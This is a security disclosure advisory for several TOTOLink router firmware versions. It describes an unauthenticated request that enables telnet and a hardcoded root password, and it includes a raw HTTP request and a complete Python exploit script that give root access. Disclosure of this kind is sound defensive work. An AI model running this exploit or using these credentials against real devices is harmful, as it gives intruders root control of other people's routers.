SSD Advisory – TOTOLink Auth Bypass and Device Backdoor

TL;DR

Find out how multiple vulnerabilities in TOTOLink allows a LAN unauthenticated attacker to gain root access to the device.

Vulnerability Summary

Two security vulnerabilities have been found in the TOTOLink devices, one allows starting the telnet service without requiring the attacker to know the credentials of the device, and the second vulnerability is a default credentials set to the telnet service which allows root access to the device.

Credit

An independent security researcher, TigerOrTiger, has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

  • TOTOLink A7000R Firmware Version: V9.1.0U.6115_B20201022
  • TOTOLink A3000RU Firmware version: V4.1.2 CU.5185_B20201128
  • TOTOLink A950RG Firmware version: V4.1.2CU.5204_B20210112
  • TOTOLink 3100R Firmware Version: V4.1.2 CU.5050_B20200504
  • TOTOLink A810R Firmware version: V4.1.2CU.5182_B20201026

Vendor Response

TOTOLink has been contacted in September 2021 and has initially responded and planned to publish an update, from November no additional updates have been received or followup emails have received any response. At the time of writing this advisory it is unclear what is the status, whether patches were released or are planned to be released.

Vulnerability Analysis

While inspecting the TOTOLink A800R device’s UART interface and attempting to login, a password prompt shows up, this immediately raised my curiosity on what the default password would be – attempts to brute force failed and I therefore decided to inspect the firmware.

The latest firmware from the TOTOLink site, and binwalk it revealed the passwd and shadow file and subsequently the default credentials of root/CS2012. While this was interesting, it wasn’t very useful for a remote attacker, and I decided to look further.

Mainly out of interest what other secrets and hard-coded stuff might be found inside it. The most interesting folder found in the Firmware is the /web_cste/ where the device provides web services through a reference to it found in /etc/lighttpd.conf.

In this folder I sensitive found the telnet.asp file.

According to the contents of this file, you can see that this file is used to enable Telnet on the device. The file is not visible to users on the device Web management interface.

<script>
   $(function(){
   	var postVar={topicurl:"setting/getTelnetCfg"};
   	postVar=JSON.stringify(postVar);
   	$.ajax({  
          	type : "post", url : " /cgi-bin/cstecgi.cgi", data : postVar, async : false, success : function(Data){
   			var rJson=JSON.parse(Data);
   			supplyValue("telnet_enabled",rJson['telnet_enabled']);
   		}
       });
   });
   
   function doSubmit(){
   	var postVar={"topicurl" : "setting/setTelnetCfg"};
   	postVar['telnet_enabled']=$('#telnet_enabled').val();
   	uiPost(postVar);
   }
</script>
</head>
<body class="mainbody">
   <table width="700">
      <tr>
         <td>
            <table border=0 width="100%">
               <tr>
                  <td class="content_title">Telnet</td>
               </tr>
               <tr>
                  <td height="1" class="line"></td>
               </tr>
            </table>
            <table border=0 width="100%">
               <tr>
                  <td class="item_left">On/Off</td>
                  <td>
                     <select class="select" id="telnet_enabled">
                        <option value="0">Off</option>
                        <option value="1">On</option>
                     </select>
                  </td>
               </tr>
            </table>
            <table border=0 width="100%">
               <tr>
                  <td height="1" class="line"></td>
               </tr>
               <tr>
                  <td height="10"></td>
               </tr>
               <tr>
                  <td align="right"><input type=button class=button value="Apply" onClick="doSubmit()"></td>
               </tr>
            </table>
         </td>
      </tr>
   </table>
</body>
</html>

According to the properties of the lighttpd, I construct the http://192.168.0.1/telnet.asp URL to access the file directly, but the login prompt was seen. Logging in, showed that the page can set the on value for Telnet. And then you can use Telnet to connect directly, and use the root/cs2012.

While this was good, I wanted to see if I can bypass the whole login process – i.e. not know the username and password and get the telnet with its hardcoded credentials to become accessible.

What I found is that the code does not validate the cookie value in the request header for this page, mainly sending this:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/telnet.asp
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 56
Cookie: SESSION_ID=2:1505223198:2
Connection: close

{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}

Will turn on the telnet port, this without actually verifying that we have a valid session (login).

Demo

Exploit

#!/usr/bin/python3

import requests
import json

hostname = 'some_ip:8090'

url = f"http://{hostname}/cgi-bin/cstecgi.cgi"
dataGet = {"topicurl": "setting/getTelnetCfg"}

headers = {'Content-type': 'application/json'}

responseGet = requests.post(url, json=dataGet, headers=headers)
print(f"Current Telnet Configuration: {responseGet.json()['telnet_enabled']}")

print("Changing telnet to 'open'")
dataSet = {"topicurl": "setting/setTelnetCfg", "telnet_enabled":"1"}

responseSet = requests.post(url, json=dataSet, headers=headers)

print(f"Response: {responseSet.json()}")

responseGet = requests.post(url, json=dataGet, headers=headers)

print(f"New Telnet Configuration: {responseGet.json()['telnet_enabled']}")
print(f"You can now telnet to {responseSet.json()['lan_ip']} and get 'root' access")